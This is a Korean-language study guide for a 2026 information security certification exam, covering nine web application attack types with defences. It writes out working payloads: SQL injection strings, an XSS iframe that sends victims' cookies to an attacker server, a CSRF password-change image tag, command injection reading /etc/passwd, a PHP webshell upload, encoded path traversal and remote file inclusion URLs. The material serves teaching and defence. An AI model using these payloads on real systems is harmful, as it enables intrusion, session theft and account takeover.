웹 애플리케이션 취약점 공격 완벽 가이드

웹 애플리케이션 취약점 공격 완벽 가이드

웹 애플리케이션 취약점 공격 완벽 가이드
2026 정보보안기사 핵심정리

WEB APPLICATION
ATTACK GUIDE

공격 유형별 핵심 키워드 매핑 + 실제 예시로 완전 정복
출제 빈도 높은 취약점을 직관적으로 이해한다

SQL Injection XSS CSRF SSRF File Upload Path Traversal File Inclusion Command Injection Session Hijacking
01
SQL Injection 취약점
INPUT → DB QUERY MANIPULATION
사용자 입력값이 SQL 쿼리에 그대로 삽입될 때, 악의적인 SQL 구문을 끼워 넣어 인증 우회·데이터 탈취·DB 조작을 유발하는 공격.
‘ or 1=1# WHERE절 항상 참 인증 우회 UNION SELECT 컬럼 개수 일치 ORDER BY Blind SQL Injection 참/거짓 반응 substr / limit Prepared Statement magic_quotes_gpc mysql_real_escape_string xp_cmdshell xp_dirtree Stored Procedure
① Form SQL Injection (인증 우회) 최빈출
👤
아이디 입력
→
💉
악의적 SQL 삽입
→
🗄️
WHERE절 항상 참
→
🔓
첫번째 레코드로 로그인 성공

실제 공격 예시

🔴 공격 입력값

아이디 필드에 입력
‘ or 1=1#

// 실제 실행되는 SQL:
SELECT id, pass FROM member
WHERE id=” or 1=1#
‘ AND pass=’1234’

// # 이후는 주석처리됨!
// 1=1 항상 참 → 전체 레코드 반환
// → admin 계정으로 로그인 성공

🟢 방어 (Prepared Statement)

// ? 자리에 바인딩만 할 뿐
// 쿼리 구조는 변경 불가!

$stmt = $conn->prepare(
“SELECT id FROM member
WHERE id=? AND pass=?”
);
$stmt->bind_param(“ss”,
$id, $pass
);
// 공격 문자열도 그냥 id값으로만 처리
⚠️
DB별 주석 문자 차이 — MySQL: # 또는 /* */ | MS-SQL / Oracle: -- 또는 /* */
시험에서 주석 문자가 어떤 DB인지 묻는 문제 자주 출제!
② Union SQL Injection (데이터 추출) 빈출
💡
핵심 조건: 앞뒤 SELECT의 컬럼 개수가 동일해야 함. ORDER BY로 컬럼 개수 파악 후 공격!
컬럼 개수 파악 → 공격 순서
— 1단계: ORDER BY로 컬럼 수 파악
id=‘ order by 3# → 정상 (컬럼 3개 이상)
id=‘ order by 4# → 에러! “Unknown column ‘4’”
→ 컬럼이 3개임을 확인

— 2단계: UNION으로 비밀번호 위조 후 로그인
id=‘ union select ‘admin’,’admin’,’admin’#

SELECT id, pass, nick FROM member
WHERE id=” ← 원래 결과: 없음
UNION SELECT ‘admin’,’admin’,’admin’#
↳ 결과: admin / admin / admin 반환됨!
↳ 비밀번호 admin으로 로그인 성공
③ Blind SQL Injection (에러 없이 데이터 추출)
구분 Error-Based Blind SQL Injection
에러 메시지 에러 메시지 노출됨 에러 없음 — 참/거짓 반응만 이용
작동 방식 에러값에서 DB정보 추출 페이지 반응 차이로 한 글자씩 추측
핵심 함수 HAVING, GROUP BY substr() limit ascii()
대응 에러 메시지 숨기기 에러 숨겨도 취약 — Prepared Statement 필수
Blind SQL Injection 예시 — 테이블명 한글자씩 추측
— information_schema로 테이블 이름 첫 글자 추측
substr((select table_name from information_schema.tables
where table_type=‘base table’ limit 0,1),1,1) = ‘a’
→ 참이면 게시글 나옴, 거짓이면 안 나옴
→ a, b, c, d… 반복하다가 ‘d’에서 참 → 첫 글자 d
→ 이 과정을 자동화: SQLMap 도구 사용
④ Stored Procedure / Mass SQL Injection
유형 핵심 키워드 공격 내용
Stored Procedure xp_dirtree xp_cmdshell 세미콜론(;) MS-SQL 확장 프로시저로 OS 명령 실행 (파일 목록 조회, 레지스트리 수정)
Mass SQL Injection 대량 DB 변조 <script src=…> 한 번 공격으로 DB 전체 문자형 컬럼에 악성 스크립트 삽입 → 방문자 감염
02
XSS (크로스 사이트 스크립팅)
Cross Site Script — COOKIE THEFT / CLIENT ATTACK
공격자가 악성 스크립트를 웹 페이지에 삽입하여, 피해자가 해당 페이지를 방문할 때 스크립트가 피해자 브라우저에서 실행되는 공격.
<script>alert(document.cookie)</script> 쿠키 탈취 게시판 DB 저장 Stored XSS URL 파라미터 Reflected XSS DOM 조작 DOM based XSS htmlspecialchars() HTML Entity 변환 서버 측 검증
유형 스크립트 저장 위치 공격 흐름 핵심 차이
Stored XSS
저장형
DB에 영구 저장 공격자 게시글 등록 → DB 저장 → 피해자 클릭 → 스크립트 실행 한 번 올리면 지속 공격 가능
Reflected XSS
반사형
DB 저장 안 함 악성 링크 전송(이메일) → 피해자 클릭 → URL 파라미터가 그대로 응답에 반영 DB에 저장 안 됨, 링크 클릭 유도 필요
DOM based XSS
DOM기반
서버 응답 없음 정상 스크립트가 DOM 처리 중 URL의 악성 파라미터를 실행 서버와 무관 — 응답 페이지가 정상이어도 발생

실제 공격 예시 — Stored XSS로 쿠키 탈취

① 공격자가 게시판에 등록하는 내용
<!– 게시글 내용에 iframe 삽입 –>
<iframe width=“0” height=“0”
src=“javascript:document.location.href=
‘http://192.168.254.1/hacker/attack.php
?cookie=’+document.cookie”></iframe>

// 피해자가 게시글 열면…
// 피해자 PHPSESSID가 공격자 서버로 전송됨!

② 공격자 서버 로그 (쿠키 수집)
[attack] 192.168.254.1 /hacker/attack.php
?cookie=PHPSESSID=lds7ts4r7eg6frjjrt2j08qa5

③ 탈취된 세션 ID로 다른 브라우저에서 admin 로그인 성공!

방어 — HTML Entity 변환

🔴 위험한 특수문자 그대로

< → HTML 태그 시작
> → HTML 태그 종료
“ → 속성값 구분
‘ → 속성값 구분

🟢 Entity로 무력화

&lt; → < 그냥 텍스트로
&gt; → > 그냥 텍스트로
&quot; → ” 무력화
&#x27; → ‘ 무력화
💡
PHP에서 htmlspecialchars($content, ENT_QUOTES) 함수 사용 → <, >, &, “, ‘ 를 자동으로 Entity 변환
XSS 대응의 핵심: 서버 측 검증 필수 (클라이언트 측 JS 검증은 Web Proxy로 우회 가능)
03
CSRF (크로스 사이트 요청 위조)
Cross Site Request Forgery — VICTIM ACTS UNKNOWINGLY
피해자가 로그인된 상태에서 공격자의 악의적인 요청을 자신도 모르게 전송하도록 유도. 피해자의 권한으로 작업이 실행됨.
피해자 의도와 무관하게 요청 전송 비밀번호 변경 / 계정정보 변조 <img src=”조작URL”> GET/POST 위조 요청 CSRF Token 랜덤 토큰 비교 재인증 중요 기능 재확인

🔴 CSRF vs XSS 차이 — 혼동 주의!

  • XSS: 피해자 브라우저에서 스크립트 실행 → 클라이언트 공격
  • CSRF: 피해자 권한으로 서버에 요청 전송 → 서버 측 요청 위조
  • XSS는 스크립트 실행이 목적, CSRF는 요청 위조가 목적

🟢 CSRF vs SSRF 차이

  • CSRF: 조작된 요청 발생 주체 = 클라이언트(피해자)
  • SSRF: 조작된 요청 발생 주체 = 웹서버(내부)
  • SSRF는 서버가 내부 네트워크로 요청을 보내도록 유도

실제 공격 예시 — 비밀번호 몰래 변경

공격자가 게시판에 img 태그로 위조 요청 삽입
<!– 게시글 내용에 이걸 삽입 –>
<img src=“http://victim-site.com/member/modify.php
?pass=admin123
&pass_confirm=admin123″
width=”1″ height=”1″>

// 피해자(로그인 상태)가 이 게시글을 열면…
// 브라우저가 자동으로 위 URL에 GET 요청 전송
// 피해자는 비밀번호가 변경된 줄도 모름!

// 방어: CSRF Token 검증
// 서버에서 세션에 저장된 토큰값 = 요청에 포함된 토큰값 비교
// 다르면 → 위조 요청으로 판단하여 차단
04
SSRF (서버 사이드 요청 위조)
Server Side Request Forgery — INTERNAL NETWORK BYPASS
웹서버가 외부 URL을 fetch할 때, 공격자가 URL을 조작하여 내부 네트워크 서비스에 접근하게 만드는 공격.
내부 네트워크 접근 내부 서버 정보 탈취 url 파라미터 조작 이미지 서버 요청 화이트리스트 필터링 내부 서비스 차단
정상 요청 → 조작된 요청
// 정상: 이미지 서버에서 과일 이미지 로드
?url=http://img.algisa.com/fruitImg/apple.png

// 공격: url 파라미터를 내부 서버 주소로 교체
?url=http://img.algisa.com/custImg/2022001.png
↑ 내부 이미지 서버의 고객 정보 이미지 탈취 가능!

// 더 나아가면: 완전히 내부 서비스 URL로 교체
?url=http://192.168.1.100/admin/config
// 외부에서 접근 불가한 내부 관리자 페이지 접근!
💡
CSRF와의 핵심 차이: CSRF는 피해자(클라이언트)가 요청 발생 주체, SSRF는 웹서버가 요청 발생 주체.
대응: URL 입력값에 화이트리스트 정책 적용 + 내부 네트워크 서비스 간 인증 확인
05
OS Command Injection (운영체제 명령 실행)
OS COMMAND EXECUTION — SERVER SHELL ACCESS
웹 애플리케이션이 시스템 명령어를 실행할 때, 입력값에 OS 명령어를 삽입하여 서버에서 임의 명령 실행.
세미콜론(;) 파이프(|) && 명령 연속 실행 cat /etc/passwd shell_exec() system() exec() 블랙리스트 필터링 명령어 화이트리스트
실제 공격 — Ping 폼에 명령 삽입
// 정상 사용: Ping 테스트 폼에 IP 입력
?ip=127.0.0.1
→ 실행: ping -c 4 127.0.0.1

// 공격: 세미콜론으로 명령 연결
?ip=127.0.0.1;cat /etc/passwd
→ 실행: ping -c 4 127.0.0.1; cat /etc/passwd
→ /etc/passwd 내용 브라우저에 출력!

// 명령 연결 연산자 종류
명령1 ; 명령2 → 앞 결과 무관 항상 명령2 실행
명령1 && 명령2 → 앞이 성공해야 명령2 실행
명령1 || 명령2 → 앞이 실패해야 명령2 실행
명령1 | 명령2 → 앞 결과를 명령2 stdin으로 전달
⚠️
Stored Procedure의 xp_cmdshell(MS-SQL) / xp_dirtree도 OS Command Injection의 일종.
세미콜론(;)으로 연속 명령 실행하는 패턴이 핵심 키워드!
06
파일 업로드 취약점
FILE UPLOAD — WEBSHELL EXECUTION
파일 업로드 기능에서 확장자/MIME 타입 검증 없이 서버 사이드 스크립트(.php 등)가 업로드되어 서버에서 임의 코드 실행.
웹셸(Webshell) .php 파일 업로드 서버 사이드 스크립트 MIME 타입 검증 Content-Type: image/gif 파일 확장자 우회 화이트리스트 확장자 .htaccess AddType AllowOverride LimitRequestBody
공격 흐름 — 웹셸 업로드
// 1단계: webshell.php 파일 업로드 시도
Content-Disposition: form-data; name=”upfile[]”;
filename=“webshell.php”
Content-Type: application/octet-stream

<?php eval(base64_decode(‘…악성코드…’)); ?>

// 2단계: 업로드 성공 후 URL로 직접 접근
http://victim.com/upload/data/webshell.php
→ 서버에서 PHP 실행 → 시스템 명령 가능!

// 우회 방법: Content-Type 헤더 변조
Content-Type: application/octet-stream
→ 변조 →
Content-Type: image/gif (MIME만 바꿈)
→ MIME만 체크하는 경우 통과!

안전한 방어 단계 (3단계)

단계방어 방법핵심 설정
1단계 MIME 타입 화이트리스트 image/gif, image/jpeg, image/png만 허용
2단계 MIME + 확장자 모두 검증 두 가지 동시 체크 → 우회 방지
3단계 .htaccess로 PHP 실행 차단 AddType text/html .php .php3 .php4 → PHP가 HTML로 처리
07
경로 추적 (Path Traversal)
DIRECTORY TRAVERSAL — ../ TO ROOT
파일명/경로 파라미터를 ../로 조작하여 웹 루트 이상의 상위 디렉터리로 거슬러 올라가 시스템 파일에 접근하는 공격.
../ ..\ (윈도우) /etc/passwd 접근 %2e%2e%2f (URL 인코딩) %252e%252e%252f (이중 인코딩) Directory Traversal fname 파라미터 chroot 웹 루트로 최상위 제한
공격 예시 — 경로 조작으로 시스템 파일 접근
// 정상 요청
?fname=apple → fruitHtml/apple.html 로드

// 공격: ../ 반복으로 웹 루트 이탈
?fname=../../../etc/passwd
→ /etc/passwd 내용 노출!

// 인코딩 우회 (필터를 피하기 위해)
?fname=..%2f..%2f..%2fetc%2fpasswd (URL 인코딩)
?fname=..%252f..%252f..%252fetc%252fpasswd (이중 인코딩)
?fname=..%u002e%u2215..%u2215etc%u2215passwd (유니코드)

// 안전한 치환 방어의 함정
fname=….//….//….//etc/passwd
→ “../”를 “”로 치환하면 → ../../../etc/passwd 공격 성공!
→ 반복 치환이 아닌 화이트리스트 방식 사용해야 함
08
파일 삽입 (File Inclusion)
LFI / RFI — INCLUDE REMOTE WEBSHELL
include() 함수에 외부 입력이 그대로 사용될 때, 로컬 또는 원격 악성 파일을 include하여 실행하는 공격.
LFI (Local File Inclusion) RFI (Remote File Inclusion) include($target) fname 파라미터 allow_url_fopen = Off php.ini 설정 외부 URL include 차단
유형공격 대상예시
LFI 서버 내 로컬 파일 fname=../../../etc/passwd → Path Traversal + LFI 결합
RFI 외부 서버의 악성 파일 fname=http://공격자서버/webshell.php → 원격 웹셸 실행
⚠️
Path Traversal vs LFI 차이:
Path Traversal = 파일 읽기 (내용 출력)
LFI = 파일을 PHP로 실행 (코드 실행) → 웹셸 실행 가능
방어: php.ini에서 allow_url_fopen = Off 설정
09
세션/쿠키 관련 취약점
SESSION HIJACKING / COOKIE THEFT
탈취된 세션 ID로 피해자의 로그인 상태를 가로채거나, 쿠키 변조로 권한을 상승시키는 공격.
HTTP Session Hijacking PHPSESSID 탈취 session.gc_maxlifetime 세션 타임아웃 HttpOnly 속성 Secure 속성 랜덤 세션 ID 발급 로그인마다 새 세션
XSS로 세션 탈취 → 세션 하이재킹 흐름
// 1. XSS로 피해자 쿠키 탈취 (앞서 설명)
PHPSESSID=lds7ts4r7eg6frjjrt2j08qa5

// 2. 다른 브라우저에서 쿠키에 탈취한 값 삽입
Edit Cookie → PHPSESSID = [탈취값]
→ admin으로 로그인 성공!

// 방어 1: HttpOnly 속성 → JS로 쿠키 접근 불가
session.cookie_httponly = 1

// 방어 2: Secure 속성 → HTTPS에서만 쿠키 전송
session.cookie_secure = 1

// 방어 3: 세션 타임아웃 설정
session.gc_maxlifetime = 600 (10분)

⚡ 전체 공격 비교표 — 시험 직전 최종 정리

헷갈리는 공격 차이점과 핵심 키워드를 한눈에
공격 공격 대상 핵심 메커니즘 결정적 키워드 방어 핵심
SQL Injection 데이터베이스 SQL 쿼리 구조 변조 ' or 1=1#, UNION, Blind Prepared Statement
XSS 피해자 브라우저 악성 스크립트 삽입 → 클라이언트 실행 <script>, 쿠키 탈취, Stored/Reflected/DOM htmlspecialchars(), 서버 검증
CSRF 서버 (피해자 권한으로) 피해자가 의도 없이 요청 전송 <img src=조작URL>, 요청 위조 CSRF Token, 재인증
SSRF 내부 서버/네트워크 웹서버가 내부로 요청 url 파라미터, 내부 네트워크 접근 화이트리스트 URL 필터링
OS Command 서버 OS 시스템 명령어 삽입 실행 ; | &&, cat /etc/passwd 명령어 화이트리스트
File Upload 서버 (파일 실행) 웹셸 업로드 후 URL로 실행 webshell.php, MIME 우회, .htaccess 확장자+MIME 화이트리스트
Path Traversal 서버 파일시스템 ../ 로 상위 디렉터리 접근 ../../../etc/passwd, %2e%2e%2f chroot, 웹루트 이상 접근 차단
File Inclusion 서버 (원격 코드 실행) include()로 악성 파일 실행 LFI, RFI, allow_url_fopen allow_url_fopen=Off
Session Hijacking 세션/쿠키 세션ID 탈취 후 재사용 PHPSESSID, HTTP Hijacking HttpOnly, Secure, 랜덤 세션ID
⚡ 자주 헷갈리는 3가지 비교
🟡 XSS
  • 스크립트가 피해자 브라우저에서 실행
  • 쿠키/세션 탈취, 악성코드 감염
  • 공격 결과물: 클라이언트 측 피해
🟣 CSRF
  • 피해자가 서버에 위조 요청을 전송
  • 비밀번호 변경, 계정정보 변조
  • 요청 발생 주체: 클라이언트(피해자)
🟢 SSRF
  • 서버가 내부 시스템에 위조 요청 전송
  • 내부 네트워크 정보 탈취
  • 요청 발생 주체: 웹서버